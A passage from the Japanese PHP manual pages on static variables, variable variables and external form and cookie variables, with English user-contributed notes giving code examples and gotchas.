It should be noted that a static variable inside a method is static across all instances of that class, i.e., all objects of that class share the same static variable.  For example the code:

<?php
class test {
    function z() {
        static $n = 0;
        $n++;
        return $n;
    }
}

$a =& new test();
$b =& new test();
print $a->z();  // prints 1, as it should
print $b->z();  // prints 2 because $a and $b have the same $n
?>

somewhat unexpectedly prints:
1
2
kouber at php dot net 28-Apr-2005 05:36
If you need all your global variables available in a function, you can use this:

<?php
function foo() {
  extract($GLOBALS);
  // here you have all global variables

}
?>
info AT SyPlex DOT net 31-Aug-2004 05:35
Some times you need to access the same static in more than one function. There is an easy way to solve this problem:

<?php
  // We need a way to get a reference of our static
  function &getStatic() {
    static $staticVar;
    return $staticVar;
  }

  // Now we can access the static in any method by using it's reference
  function fooCount() {
    $ref2static = & getStatic();
    echo $ref2static++;
  }

  fooCount(); // 0
  fooCount(); // 1
  fooCount(); // 2
?>
Michael Bailey (jinxidoru at byu dot net) 04-Jun-2004 11:43
Static variables do not hold through inheritance.  Let class A have a function Z with a static variable.  Let class B extend class A in which function Z is not overwritten.  Two static variables will be created, one for class A and one for class B.

Look at this example:

<?php
class A {
    function Z() {
        static $count = 0;
        printf("%s: %d\n", get_class($this), ++$count);
    }
}

class B extends A {}

$a = new A();
$b = new B();
$a->Z();
$a->Z();
$b->Z();
$a->Z();
?>

This code returns:

A: 1
A: 2
B: 1
A: 3

As you can see, class A and B are using different static variables even though the same function was being used.
Randolpho 02-Apr-2004 12:53
More on static variables:

A static variable does not retain it's value after the script's execution. Don't count on it being available from one page request to the next; you'll have to use a database for that.

Second, here's a good pattern to use for declaring a static variable based on some complex logic:

<?php
  function buildStaticVariable()
  {
      $foo = null;
      // some complex expression or set of
      // expressions/statements to build
      // the return variable.
      return $foo;
  }

  function functionWhichUsesStaticVar()
  {
      static $foo = null;
      if($foo === null) $foo = buildStaticVariable();
      // the rest of your code goes here.
  }
?>

Using such a pattern allows you to separate the code that creates your default static variable value from the function that uses it. Easier to maintain code is good. :)
danno at wpi dot edu 24-Jul-2001 12:28
WARNING!  If you create a local variable in a function and then within that function assign it to a global variable by reference the object will be destroyed when the function exits and the global var will contain NOTHING!  This main sound obvious but it can be quite tricky you have a large script (like a phpgtk-based gui app ;-) ).

example:

<?php
function foo ()
{
   global $testvar;

   $localvar = new Object ();
   $testvar = &$localvar;
}

foo ();
print_r ($testvar);   // produces NOTHING!!!!
?>

hope this helps someone before they lose all their hair


可変変数

変数名を可変にできると便利なことが時々あります。可変変数では、変数 名を動的にセットし使用できます。通常の変数は、次のような命令でセッ トします。

<?php
$a = 'hello';
?>

可変変数は、変数の値をとり、変数の名前として扱います。上の例では、 hello は、ドル記号を二つ使用することにより、 変数の名前として使用することができます。つまり、

<?php
$$a = 'world';
?>

ここまでで、二つの変数が定義され、PHP シンボルツリーに定義されてい ます。これらは、"hello" を値とする$aと "world" を値とする$helloです。そこで、次の命令

<?php
echo "$a ${$a}";
?>

の出力は、次の命令と全く同じとなります。

<?php
echo "$a $hello";
?>

すなわち、両方共、hello worldを出 力します。

可変変数を配列で使用する際には、曖昧さの問題を解決する必要がありま す。つまり、$$a[1]と書いた場合、 $a[1]を変数として使用したいのか、 $$aを変数とし [1] を変数の添え字としたいのかを、 パーサが知る必要があるのです。この曖昧さを解決するには、前者では ${$a[1]}とし、後者では ${$a}[1]とする構文を用います。

クラスのプロパティには、可変プロパティ名でアクセスすることができます。 可変プロパティ名の解決は、呼び出し元のスコープで行われます。 たとえば $foo->$bar のようにするとローカルスコープで $bar を調べ、その値を $foo のプロパティ名として使います。 $bar が配列へのアクセスであっても同じです。

波括弧を使って、プロパティ名の区切りを明確にすることもできます。 これが特に有用なのは、配列が格納されているプロパティにアクセスするときや プロパティ名が複数のパーツからなる場合、 あるいはプロパティ名として無効な文字を含む場合 (たとえば json_decode() や SimpleXML に由来するプロパティ) などです。

例1 可変プロパティの例

<?php
class foo {
    var $bar = 'I am bar.';
    var $arr = array('I am A.', 'I am B.', 'I am C.');
    var $r   = 'I am r.';
}

$foo = new foo();
$bar = 'bar';
$baz = array('foo', 'bar', 'baz', 'quux');
echo $foo->$bar . "\n";
echo $foo->{$baz[1]} . "\n";

$start = 'b';
$end   = 'ar';
echo $foo->{$start . $end} . "\n";

$arr = 'arr';
echo $foo->{$arr[1]} . "\n";

?>

上の例の出力は以下となります。

I am bar.
I am bar.
I am bar.
I am r.

警告

関数やクラスメソッドの内部で、可変変数と PHP の スーパーグローバル配列 とを組み合わせては使用できないということに注意してください。 $this も特別な変数であり、 動的に参照することはできません。

User Contributed Notes

Alex 27-May-2020 10:27
If you want to use Variable Variables with $_POST,
you may follow this example:

<?php
// you created a form with variable names:
$_POST['content_1'] = "blabla";
$_POST['content_2'] = "blublu";
// ...
$_POST['content_99'] = "bleble";

// Then, you can use a loop:

for ($i=1; $i<99;$i++)
{
echo $_POST["content_$i"];
}

?>
marcin dot dzdza at gmail dot com 10-Feb-2019 11:59
The feature of variable variable names is welcome, but it should be avoided when possible. Modern IDE software fails to interpret such variables correctly, regular find/replace also fails. It's a kind of magic :) This may really make it hard to refactor code. Imagine you want to rename variable $username to $userName and try to find all occurrences of $username in code by checking "$userName". You may easily omit:
$a = 'username';
echo $$a;
houssemzitoun91 at gmail dot com 02-Jun-2018 05:54
Even outside a function or a class method  variable variables cannot be used with PHP's Superglobal arrays. See the example bellow:
<?php

$a = '$GLOBALS["a"]';

function foo()
{
        global $a;
        echo $$a;
}

echo $GLOBALS["a"], PHP_EOL; // $GLOBALS["a"]

echo ${$a}; // PHP Notice:  Undefined variable: $GLOBALS["a"]
wuhanqinb at gmail dot com 21-Mar-2018 07:42
For example #1，line：
echo $foo->$baz[1] . "\n";
It should be:
echo $foo->{$baz[1]} . "\n";
to run correctly.
herebepost (ta at ta) [iwonderr] gmail dot com 11-Jul-2016 07:32
While not relevant in everyday PHP programming, it seems to be possible to insert whitespace and comments between the dollar signs of a variable variable.  All three comment styles work. This information becomes relevant when writing a parser, tokenizer or something else that operates on PHP syntax.

<?php

    $foo = 'bar';
    $

    /*
        I am complete legal and will compile without notices or error as a variable variable.
    */
        $foo = 'magic';

    echo $bar; // Outputs magic.

?>

Behaviour tested with PHP Version 5.6.19
jefrey.sobreira [at] gmail [dot] com 01-Feb-2015 05:34
If you want to use a variable value in part of the name of a variable variable (not the whole name itself), you can do like the following:

<?php
$price_for_monday = 10;
$price_for_tuesday = 20;
$price_for_wednesday = 30;

$today = 'tuesday';

$price_for_today = ${ 'price_for_' . $today};
echo $price_for_today; // will return 20
?>
Aycan Yat 19-Oct-2013 06:15
Sometimes you might wish to modify value of an existing variable by its name. This is easily accomplishable with a combination of using "passing by reference" and "variable variables".

$first_var = 1;
$second_var = 2;
$third_var = 3;

$which_one = array_rand('first', 'second', 'third');
//Let's consider the result is "second".

$modifier = $$which_one;  //Now $modifier has value 2.
$modifier++; //Now $modifier's value is 3.
echo $second_var; //Prints out 2

//Consider we wish to modify the value of $second_var
$modifier = &$$which_one;  //Simply passing by reference
$modifier++; //Now value of $second_var is 3 too.
echo $second_var; //Prints out 3

It's that simple!
coviex at gmail dot com 08-Sep-2013 02:31
In 5.4 "Dynamic class references require the fully qualified class name (with the namespace in it) because at runtime there is no information about the current namespace." is still true.
Neither simple class name nor containing subnamespace works.
Initial source: https://bugs.php.net/bug.php?id=45197
nils dot rocine at gmail dot com 28-Jun-2012 01:58
Variable Class Instantiation with Namespace Gotcha:

Say you have a class you'd like to instantiate via a variable (with a string value of the Class name)

<?php

class Foo
{
    public function __construct()
    {
        echo "I'm a real class!" . PHP_EOL;
    }
}

$class = 'Foo';

$instance = new $class;

?>

The above works fine UNLESS you are in a (defined) namespace. Then you must provide the full namespaced identifier of the class as shown below. This is the case EVEN THOUGH the instancing happens in the same namespace. Instancing a class normally (not through a variable) does not require the namespace. This seems to establish the pattern that if you are using an namespace and you have a class name in a string, you must provide the namespace with the class for the PHP engine to correctly resolve (other cases: class_exists(), interface_exists(), etc.)

<?php

namespace MyNamespace;

class Foo
{
    public function __construct()
    {
        echo "I'm a real class!" . PHP_EOL;
    }
}

$class = 'MyNamespace\Foo';

$instance = new $class;

?>
Omar Juvera 07-Aug-2011 01:40
The example given in the php manual is confusing!
I think this example it's easier to understand:

<?php

//Let's create a new variable: $new_variable_1
$var_name = "new_variable_1"; //$var_name will store the NAME of the new variable

//Let's assign a value to that [$new_variable_1] variable:
$$var_name  = "value 1"; //Value of $new_variable_1 = "value 1"

echo "VARIABLE: " . $var_name;
echo "<br />";
echo "VALUE: " . $$var_name;
?>

The OUTPUT is:
VARIABLE: new_variable_1
VALUE: value 1

You can also create new variables in a loop:
<?php

for( $i = 1; $i < 6; $i++ )
{
$var_name[] = "new_variable_" . $i; //$var_name[] will hold the new variable NAME
}

${$var_name[0]}  = "value 1"; //Value of $new_variable_1 = "value 1"
${$var_name[1]}  = "value 2"; //Value of $new_variable_2 = "value 2"
${$var_name[2]}  = "value 3"; //Value of $new_variable_3 = "value 3"
${$var_name[3]}  = "value 4"; //Value of $new_variable_4 = "value 4"
${$var_name[4]}  = "value 5"; //Value of $new_variable_5 = "value 5"

echo "VARIABLE: " . $var_name[0] . "\n";
echo "<br />";
echo "VALUE: " . ${$var_name[0]};
?>

The OUTPUT is:
VARIABLE: new_variable_1
VALUE: value 1
mason 28-Jun-2010 12:39
PHP actually supports invoking a new instance of a class using a variable class name since at least version 5.2

<?php
class Foo {
   public function hello() {
      echo 'Hello world!';
   }
}
$my_foo = 'Foo';
$a = new $my_foo();
$a->hello(); //prints 'Hello world!'
?>

Additionally, you can access static methods and properties using variable class names, but only since PHP 5.3

<?php
class Foo {
   public static function hello() {
      echo 'Hello world!';
   }
}
$my_foo = 'Foo';
$my_foo::hello(); //prints 'Hello world!'
?>
userb at exampleb dot org 08-Apr-2010 02:39
<?php

  //You can even add more Dollar Signs

  $Bar = "a";
  $Foo = "Bar";
  $World = "Foo";
  $Hello = "World";
  $a = "Hello";

  $a; //Returns Hello
  $$a; //Returns World
  $$$a; //Returns Foo
  $$$$a; //Returns Bar
  $$$$$a; //Returns a

  $$$$$$a; //Returns Hello
  $$$$$$$a; //Returns World

  //... and so on ...//

?>
dlorre at yahoo dot com 16-Feb-2010 12:04
Adding an element directly to an array using variables:

<?php
$tab = array("one", "two", "three") ;
$a = "tab" ;
$$a[] ="four" ; // <==== fatal error
print_r($tab) ;
?>
will issue this error:

Fatal error: Cannot use [] for reading

This is not a bug, you need to use the {} syntax to remove the ambiguity.

<?php
$tab = array("one", "two", "three") ;
$a = "tab" ;
${$a}[] =  "four" ; // <==== this is the correct way to do it
print_r($tab) ;
?>
php at ianco dot co dot uk 28-May-2009 02:47
<?php
// $variable-name = 'parse error';
// You can't do that but you can do this:
$a = 'variable-name';
$$a = 'hello';
echo $variable-name . ' ' . $$a; // Gives     0 hello
?>

For a particular reason I had been using some variable names with hyphens for ages. There was no problem because they were only referenced via a variable variable. I only saw a parse error much later, when I tried to reference one directly. It took a while to realise that illegal hyphens were the cause because the parse error only occurs on assignment.
nullhility at gmail dot com 06-Jun-2008 12:43
It's also valuable to note the following:

<?php
${date("M")} = "Worked";
echo ${date("M")};
?>

This is perfectly legal, anything inside the braces is executed first, the return value then becomes the variable name. Echoing the same variable variable using the function that created it results in the same return and therefore the same variable name is used in the echo statement. Have fun ;).
Nathan Hammond 11-Feb-2008 03:41
These are the scenarios that you may run into trying to reference superglobals dynamically. Whether or not it works appears to be dependent upon the current scope.

<?php

$_POST['asdf'] = 'something';

function test() {
    // NULL -- not what initially expected
    $string = '_POST';
    var_dump(${$string});

    // Works as expected
    var_dump(${'_POST'});

    // Works as expected
    global ${$string};
    var_dump(${$string});

}

// Works as expected
$string = '_POST';
var_dump(${$string});

test();

?>
correojulian33-php at yahoo dot es 28-Nov-2007 06:59
This example may help to overcome the limitation on $this.

Populate automatically fields of an object form a $_GET variable.

<?php
class pp{
   var $prop1=1,$prop2=2,$prop3=array(3,4,5);

   function fun1(){
      $vars=get_class_vars('pp');
      while(list($var,$value)=each($vars)){
               $ref=& $this->$var;
               $ref=$_GET[$var];

      } // while
      var_dump($this);
   }
}

$_GET['prop1']="uno";
$_GET['prop2']="dos";
$_GET['prop3']=array('tres','cuatro','cinco','seis');

$p=new pp();
$p->fun1();
?>

output is ...

object(pp)#1 (3) {
  ["prop1"]=>
  &string(3) "uno"
  ["prop2"]=>
  &string(3) "dos"
  ["prop3"]=>
  &array(4) {
    [0]=>
    string(4) "tres"
    [1]=>
    string(6) "cuatro"
    [2]=>
    string(5) "cinco"
    [3]=>
    string(4) "seis"
  }
}
the_tevildo at yahoo dot com 13-Oct-2007 06:22
This is a handy function I put together to allow variable variables to be used with arrays.

To use the function, when you want to reference an array, send it in the form 'array:key' rather than 'array[key]'.

For example:

<?php

function indirect ($var, $value)     // Replaces $$var = $value
{
   $var_data = $explode($var, ':');
   if (isset($var_data[1]))
   {
      ${$var_data[0]}[$var_data[1]] = $value;
   }
   else
   {
      ${$var_data[0]} = $value;
   }
}

$temp_array = array_fill(0, 4, 1);
$temp_var = 1;
$int_var_list = array('temp_array[2]', 'temp_var');

while (list($key, $var_name) = each($int_var_list))
{
   //  Doesn't work - creates scalar variable called "$temp_array[2]"
   $$var_name = 0;
}

var_dump($temp_array);
echo '<br>';
var_dump($temp_var);
echo '<br>';

//  Does work!

$int_var_list = array('temp_array:2', 'temp_var');

while (list($key, $var_name) = each($int_var_list))
{
   indirect($var_name, 2);
}

var_dump($temp_array);
echo '<br>';
var_dump($temp_var);
echo '<br>';
?>
Sinured 11-Jun-2007 06:07
One interesting thing I found out: You can concatenate variables and use spaces. Concatenating constants and function calls are also possible.

<?php
define('ONE', 1);
function one() {
    return 1;
}
$one = 1;

${"foo$one"} = 'foo';
echo $foo1; // foo
${'foo' . ONE} = 'bar';
echo $foo1; // bar
${'foo' . one()} = 'baz';
echo $foo1; // baz
?>

This syntax doesn't work for functions:

<?php
$foo = 'info';
{"php$foo"}(); // Parse error

// You'll have to do:
$func = "php$foo";
$func();
?>

Note: Don't leave out the quotes on strings inside the curly braces, PHP won't handle that graciously.
Anonymous 13-Mar-2005 07:25
It may be worth specifically noting, if variable names follow some kind of "template," they can be referenced like this:

<?php
// Given these variables ...
$nameTypes    = array("first", "last", "company");
$name_first   = "John";
$name_last    = "Doe";
$name_company = "PHP.net";

// Then this loop is ...
foreach($nameTypes as $type)
  print ${"name_$type"} . "\n";

// ... equivalent to this print statement.
print "$name_first\n$name_last\n$name_company\n";
?>

This is apparent from the notes others have left, but is not explicitly stated.
sir_hmba AT yahoo DOT com 06-May-2003 03:08
This is somewhat redundant, but I didn't see an example that combined dynamic reference of *both* object and attribute names.

Here's the code:

<?php
class foo
{
    var $bar;
    var $baz;

    function foo()
    {
        $this->bar = 3;
        $this->baz = 6;
    }
}

$f = new foo();
echo "f->bar=$f->bar  f->baz=$f->baz\n";

$obj  = 'f';
$attr = 'bar';
$val  = $$obj->{$attr};

echo "obj=$obj  attr=$attr  val=$val\n";
?>

And here's the output:

f->bar=3  f->baz=6
$obj=f  $attr=bar  $val=3
antony dot booth at nodomain dot here 19-Sep-2002 07:17
You may think of using variable variables to dynamically generate variables from an array, by doing something similar to: -

<?php
 foreach ($array as $key => $value)
 {
  $$key= $value;
 }

?>

This however would be reinventing the wheel when you can simply use:

<?php
extract( $array, EXTR_OVERWRITE);
?>

Note that this will overwrite the contents of variables that already exist.

Extract has useful functionality to prevent this, or you may group the variables by using prefixes too, so you could use: -

EXTR_PREFIX_ALL

<?php
$array =array("one" => "First Value",
"two" => "2nd Value",
"three" => "8"
                );

extract( $array, EXTR_PREFIX_ALL, "my_prefix_");

?>

This would create variables: -
$my_prefix_one
$my_prefix_two
$my_prefix_three

containing: -
"First Value", "2nd Value" and "8" respectively
jupp-mueller at t-online dot de 08-Sep-2002 06:29
I found another undocumented/cool feature: variable member variables in classes. It's pretty easy:

<?php
class foo {
  function bar() {
    $bar1 = "var1";
    $bar2 = "var2";
    $this->{$bar1}= "this ";
    $this->{$bar2} = "works";
  }
}

$test = new foo;
$test->bar();
echo $test->var1 . $test->var2;
?>
J. Dyer 12-Aug-2002 01:05
Another use for this feature in PHP is dynamic parsing..

Due to the rather odd structure of an input string I am currently parsing, I must have a reference for each particular object instantiation in the order which they were created.  In addition, because of the syntax of the input string, elements of the previous object creation are required for the current one.

Normally, you won't need something this convolute.  In this example, I needed to load an array with dynamically named objects - (yes, this has some basic Object Oriented programming, please bare with me..)

<?php
   include("obj.class");

   // this is only a skeletal example, of course.
   $object_array = array();

   // assume the $input array has tokens for parsing.
   foreach ($input_array as $key=>$value){
      // test to ensure the $value is what we need.
         $obj = "obj".$key;
         $$obj = new Obj($value, $other_var);
         Array_Push($object_array, $$obj);
      // etc..
   }

?>

Now, we can use basic array manipulation to get these objects out in the particular order we need, and the objects no longer are dependant on the previous ones.

I haven't fully tested the implimentation of the objects.  The  scope of a variable-variable's object attributes (get all that?) is a little tough to crack.  Regardless, this is another example of the manner in which the var-vars can be used with precision where tedious, extra hard-coding is the only alternative.

Then, we can easily pull everything back out again using a basic array function: foreach.

<?php
//...
   foreach($array as $key=>$object){

      echo $key." -- ".$object->print_fcn()." <br/>\n";

   } // end foreach

?>

Through this, we can pull a dynamically named object out of the array it was stored in without actually knowing its name.
04-Jun-2002 11:34
The 'dollar dereferencing' (to coin a phrase) doesn't seem to be limited to two layers, even without curly braces.  Observe:

<?php
$one = "two";
$two = "three";
$three = "four";
$four = "five";
echo $$$$one; //prints 'five'.
?>

This works for L-values as well.  So the below works the same way:

<?php
$one = "two";
$$one = "three";
$$$one = "four";
$$$$one = "five";
echo $$$$one; //still prints 'five'.
?>

NOTE: Tested on PHP 4.2.1, Apache 2.0.36, Red Hat 7.2
chrisNOSPAM at kampmeier dot net 08-Aug-2001 10:40
Note that normal variable variables will not be parsed in double-quoted strings. You'll have to use the braces to make it work, to resolve the ambiguity. For example:

<?php
$varname = "foo";
$foo = "bar";

print $$varname;  // Prints "bar"
print "$$varname";  // Prints "$foo"
print "${$varname}"; // Prints "bar"
?>
mstearne at entermix dot com 10-May-2001 06:09
Variable variables techniques do not work when one of the "variables" is a constant.  The example below illustrates this.  This is probably the desired behavior for constants, but was confusing for me when I was trying to figure it out.  The alternative I used was to add the variables I needed to the $GLOBALS array instead of defining them as constants.

<?php

define("DB_X_NAME","database1");
define("DB_Y_NAME","database2");
$DB_Z_NAME="database3";

function connectTo($databaseName){
global $DB_Z_NAME;

$fullDatabaseName="DB_".$databaseName."_NAME";
return ${$fullDatabaseName};

}

print "DB_X_NAME is ".connectTo("X")."<br>";
print "DB_Y_NAME is ".connectTo("Y")."<br>";
print "DB_Z_NAME is ".connectTo("Z")."<br>";

?>
[Editor Note: For variable constants, use constant() --Philip]
dnl at au dot ru 08-Dec-2000 11:01
By the way...
Variable variables can be used as pointers to objects' properties:

<?php
class someclass {
  var $a = "variable a";
  var $b = "another variable: b";
  }

$c = new someclass;
$d = "b";
echo $c->{$d};
?>

outputs: another variable: b
mccoyj at mail dot utexas dot edu 03-Nov-2000 03:36
There is no need for the braces for variable object names...they are only needed by an ambiguity arises concerning which part of the reference is variable...usually with arrays.

<?php
class Schlemiel {
var $aVar = "foo";
}

$schlemiel = new Schlemiel;
$a = "schlemiel";
echo $$a->aVar;
?>

This code outputs "foo" using PHP 4.0.3.

Hope this helps...
- Jordan


外部から来る変数

HTML フォーム (GET と POST)

フォームが PHP スクリプトに投稿された時、フォームから渡された全て の変数は PHP により自動的にスクリプトから使用可能となります。 この情報にアクセスする手段は複数あります。例を以下に示します。

例1 簡単なHTMLフォーム

<form action="foo.php" method="post">
    Name:  <input type="text" name="username" /><br />
    Email: <input type="text" name="email" /><br />
    <input type="submit" name="submit" value="Submit me!" />
</form>

HTML フォームからデータにアクセスする方法は二種類だけしかありません。 現在使える方法を、以下にまとめます。

例2 簡単なPOST HTMLフォームからのデータにアクセスする

<?php
echo $_POST['username'];
echo $_REQUEST['username'];
?>

GETフォームを使用した場合も同じですが、かわりに適当な定義済みの GET変数を使用するところが異なります。 GETは、QUERY_STRING (URLの'?'の後の情報)にも代入されます。 例えば、 http://www.example.com/test.php?id=3には、 $_GET['id']によりアクセス可能なGETデータ が含まれます。 $_REQUEST も参照ください。

注意:

変数名のドットやスペースはアンダースコアに変換されます。 たとえば <input name="a.b" /> は $_REQUEST["a_b"] となります。

PHPではフォーム変数のコンテキスト内で配列が使用可能です(FAQの関連箇所も参照してください)。 例えば、関連する変数をグループ化したり、select inputで複数の値を 取得するといったことが可能です。フォームを同じスクリプトに投稿し、 投稿したデータを表示する例を示します。

例3 より複雑なフォーム変数

<?php
if ($_POST) {
    echo '<pre>';
    echo htmlspecialchars(print_r($_POST, true));
    echo '</pre>';
}
?>
<form action="" method="post">
    Name:  <input type="text" name="personal[name]" /><br />
    Email: <input type="text" name="personal[email]" /><br />
    Beer: <br />
    <select multiple name="beer[]">
        <option value="warthog">Warthog</option>
        <option value="guinness">Guinness</option>
        <option value="stuttgarter">Stuttgarter Schwabenbrau</option>
    </select><br />
    <input type="submit" value="submit me!" />
</form>

注意: 外部の変数の名前が、正しい配列の文法で始まっていた場合、 後に続く文字は黙って無視されます。 たとえば、<input name="foo[bar]baz"> は $_REQUEST['foo']['bar'] になります。

IMAGE SUBMIT 変数名

フォームを投稿する際、次のタグのように標準の投稿ボタンの代わりに 画像を使用することができます。

<input type="image" src="image.gif" name="sub" />

画像のどこかがクリックされた場合、二つの変数 sub_x および sub_y が付け加えられてこのフォームはサーバーに転送されます。これらの変 数は、ユーザーがこの画像をクリックした座標を示しています。経験の ある人は、ブラウザにより送られた変数の名前においてアンダースコア がピリオドになってしまっていることを心配するかもしれません。 しかし、PHP はピリオドをアンダースコアに自動的に変換します。

HTTP Cookie

PHP は、» RFC 6265 に定義されたHTTP Cookieを完全にサポートします。Cookieは、リモート ブラウザにデータを保持し、再訪するユーザーを追跡し、特定する機構 です。setcookie() 関数によりCookieをセットす ることができます。Cookieは、HTTP ヘッダの一部なので、SetCookie 関数をブラウザに何かを出力する前にコールする必要があります。 この制約は、header() 関数のものと同じです。 Cookieのデータは、$_COOKIE のような適当なCookieデータ 配列で参照可能です。また、 $_REQUESTでも 参照可能です。詳細および例については、 setcookie()のマニュアルページを参照してください。

注意: セキュリティ上の理由により、 PHP 7.2.34, 7.3.23, 7.4.11 以降では、外部から入力される Cookie の 名前 はurlデコードされなくなりました。

単一のCookieに複数の値を代入したい場合は、配列として 代入することが可能です。以下に例を示します。

<?php
  setcookie("MyCookie[foo]", 'Testing 1', time()+3600);
  setcookie("MyCookie[bar]", 'Testing 2', time()+3600);
?>

上記スクリプトにおいては、2つの異なるCookieを生成されますが、 この場合、スクリプトでは MyCookie という単一の配列になります。 一つのCookieに複数の値を設定したい場合、最初の値に serialize()または explode()を用いることを考えてください。

Cookieは、パスまたはドメインが異ならない限り、 以前のクッキーをブラウザ上の同じ名前の変数に置き換えることに 注意してください。 さて、買い物かご(Shopping Cart) プログラムの場合、カウンタを保持し、 受け渡したいと思うかもしれません。 これは、次のようになります。

例4 setcookie()の例

<?php
if (isset($_COOKIE['count'])) {
    $count = $_COOKIE['count'] + 1;
} else {
    $count = 1;
}
setcookie('count', $count, time()+3600);
setcookie("Cart[$count]", $item, time()+3600);
?>

外部変数名のドット

通常、PHP はスクリプトに渡された変数の名前を変更しません。しかし、 ドット(ピリオド、終止符)はPHPの変数名で有効な文字ではないというこ とに注意する必要があります。次の例を見てみましょう。

<?php
$varname.ext;  /* 無効な変数名 */
?>
ここで、パーサは、$varnameという名前の変数の後に 文字列結合演算子があり、その後に、裸の文字列(すなわち、既知のキー または予約語にマッチしない引用符無しの文字列) 'ext' が続くとして 解釈します。この場合、明らかに意図する結果にはなりません。

重要なことを記述しておくと、このため、外部変数に含まれるドットを PHP は自動的にアンダースコアに変換します。

変数の型の定義

PHPは、変数の型を定義し、必要に応じて変換します。このため、ある変 数の型がある時点で常に明らかであるわけではありません。PHPは、変数 の型を調べる複数の関数をサポートしています。それらは、 gettype(), is_array(), is_float(), is_int(), is_object(), is_string() です。 型の章も参照ください。

HTTP はテキストプロトコルなので、 $_POST および $_GET のような スーパーグローバル配列 に入ってくる内容は、全てとは言えないまでも、ほとんどは文字列のままです。 PHP は決して値を特定の型に変換したりはしません。 以下の例では、$_GET["var1"] は "null" という文字列を含みますし、 $_GET["var2"] は、文字列 "123" を含みます。

/index.php?var1=null&var2=123

変更履歴

バージョン | 説明
7.2.34, 7.3.23, 7.4.11 | セキュリティ上の理由により、外部から入力される Cookie の 名前 はurlデコードされなくなりました。

User Contributed Notes

anisgazis at gmail dot com 10-Jan-2019 03:59
Dots , spaces and [  in variable names are converted to underscores. For example
<input name="a.b" /> becomes $_REQUEST["a_b"].
<input name="a b" /> becomes $_REQUEST["a_b"].
<input name="a[b" /> becomes $_REQUEST["a_b"].
<input name="a]b" /> becomes $_REQUEST["a]b"].
<input name="a-b" /> becomes $_REQUEST["a-b"].
<input name="a/b" /> becomes $_REQUEST["a/b"].
<input name="a\b" /> becomes $_REQUEST["a\b"].
<input name="a,b" /> becomes $_REQUEST["a,b"].
fabian dot picone at gmail dot com 24-Sep-2018 01:51
"That will create two separate cookies although MyCookie will now be a single array in your script. If you want to set just one cookie with multiple values, consider using serialize() or explode() on the value first."

explode should be implode in this sentence.
Sadik_quake2003 at mail dot ru 05-Aug-2017 09:51
<form method="post">
    <select name="selecter">
        <option>one</option>
        <option>two</option>
        <option>three</option>
    </select><br />
    <input type="submit" value="send" />
</form>

<?=$_POST["selecter"];?>

If we change first option, that result will be: one (important: not null !)
Sadik_quake2003 at mail dot ru 05-Aug-2017 09:51
<form method="post">
    <select name="list">
        <option>one</option>
        <option>two</option>
        <option>three</option>
    </select><br />
    <input type="submit" value="send" />
</form>

<?=$_POST["list"];?>

If we change first option, that result will be: one (important: not null !)
Anonymous 05-Feb-2014 12:42
From HTML 5.1 Draft:
http://www.w3.org/html/wg/drafts/html/master/forms.html#naming-form-controls:-the-name-attribute

The name content attribute gives the name of the form control, as used in form submission and in the form element's elements object. If the attribute is specified, its value must not be the empty string.
Any non-empty value for name is allowed.

So use the format like this <select multiple name="beer[]"> is still in the HTML 5 standard.
walf 03-Aug-2011 06:38
WARNING! replacement of spaces and dots does not occur in array keys.

E.g. If you have
<input name="a. b[x. y]" value="foo" />

var_dump($_POST);
gives
array(1) {
  ["a__b"]=>
  array(1) {
    ["x. y"]=>
    string(3) "foo"
  }
}
POSTer 13-Nov-2009 02:28
Here's a simple function to give you an uncorrupted version of $_POST:

<?php
// Function to fix up PHP's messing up POST input containing dots, etc.
function getRealPOST() {
    $pairs = explode("&", file_get_contents("php://input"));
    $vars = array();
    foreach ($pairs as $pair) {
        $nv = explode("=", $pair);
        $name = urldecode($nv[0]);
        $value = urldecode($nv[1]);
        $vars[$name] = $value;
    }
    return $vars;
}
?>
Anonymous 13-Feb-2008 06:46
The full list of field-name characters that PHP converts to _ (underscore) is the following (not just dot):
chr(32) ( ) (space)
chr(46) (.) (dot)
chr(91) ([) (open square bracket)
chr(128) - chr(159) (various)

PHP irreversibly modifies field names containing these characters in an attempt to maintain compatibility with the deprecated register_globals feature.
vierubino dot r3m0oFdisB1T at gmail dot com 24-Aug-2007 09:12
When you are using checkboxes to submit multiple choices, there is no need to use the complex method further down the page where you assign a unique name to each checkbox.

Instead, just name each checkbox as the same array, e.g.:

<input type="checkbox" name="items[]" value="foo" />
<input type="checkbox" name="items[]" value="bar" />
<input type="checkbox" name="items[]" value="baz" />

This way your $_POST["items"] variable will return as an array containing all and only the checkboxes that were clicked on.
t.montg AT gmail DOT com 26-Apr-2007 05:05
For anyone else having trouble figuring out how to access values in a SELECT element from a POST or GET form, you can't set the "id" attribute to the same thing as your "name" attribute.  i.e. don't do this:

<?php
  //Not so good
  <select multiple="multiple" id="selectElem" name="selectElem[]">
     <option value="ham">Ham</option>
     <option value="cheese">Cheese</option>
     <option value="hamcheese">Ham and Cheese</option>
  </select>
?>

If you do the above, the variable $_POST['selectElem'] will not be set.  Instead, either change the id or name attribute so that they are dissimilar.  i.e. do this:

<?php
  //So good (notice the new "id" value)
  <select multiple="multiple" id="selectElemId" name="selectElem[]">
     <option value="ham">Ham</option>
     <option value="cheese">Cheese</option>
     <option value="hamcheese">Ham and Cheese</option>
  </select>
?>

Then you can access the value(s) of the SELECT element through the array $_POST['selectElem'][] or $_GET['selectElem'][].  It took me quite some time to figure out the problem.
ch1902uk at hotmail dot com 18-Mar-2006 11:47
Regarding image input buttons, above where it says:

"When the user clicks somewhere on the image, the accompanying form will be transmitted to the server with two *additional* variables, sub_x and sub_y. These contain the coordinates of the user click within the image."

This is the case with Firefox (and probably other standards browsers), however my experience with Internet Explorer is that when image inputs are clicked, they only submit the location of the click on the button and *not* the name of the input.

So if you have a form to move/delete entries like this

entry[]  [delete_0] [up_0] [down_0]
entry[]   [delete_1] [up_1] [down_1]
entry[]   [delete_2] [up_2] [down_2]

Then submitting the form in firefox will give you post variables such as

<?php
   $_POST['delete_2'];   // "Delete" - button value
   $_POST['delete_2_x'];   // 23 - x coord
   $_POST['delete_2_y'];   // 3 - y coord
?>

In IE you only get

<?php
   $_POST['delete_2_x'];   // 23 - x coord
   $_POST['delete_2_y'];   // 3 - y coord
?>

So if you are checking for what button was clicked do something like this

<?php
   for ($i = 0; $i < count($_POST['entry']); $i++)
   {
      if (isset($_POST['delete_' . $i . '_x']))
      {
         // do delete
      }
   }
?>
krydprz at iit dot edu 03-May-2005 01:14
This post is with regards to handling forms that have more than one submit button.

Suppose we have an HTML form with a submit button specified like this:

<input type="submit" value="Delete" name="action_button">

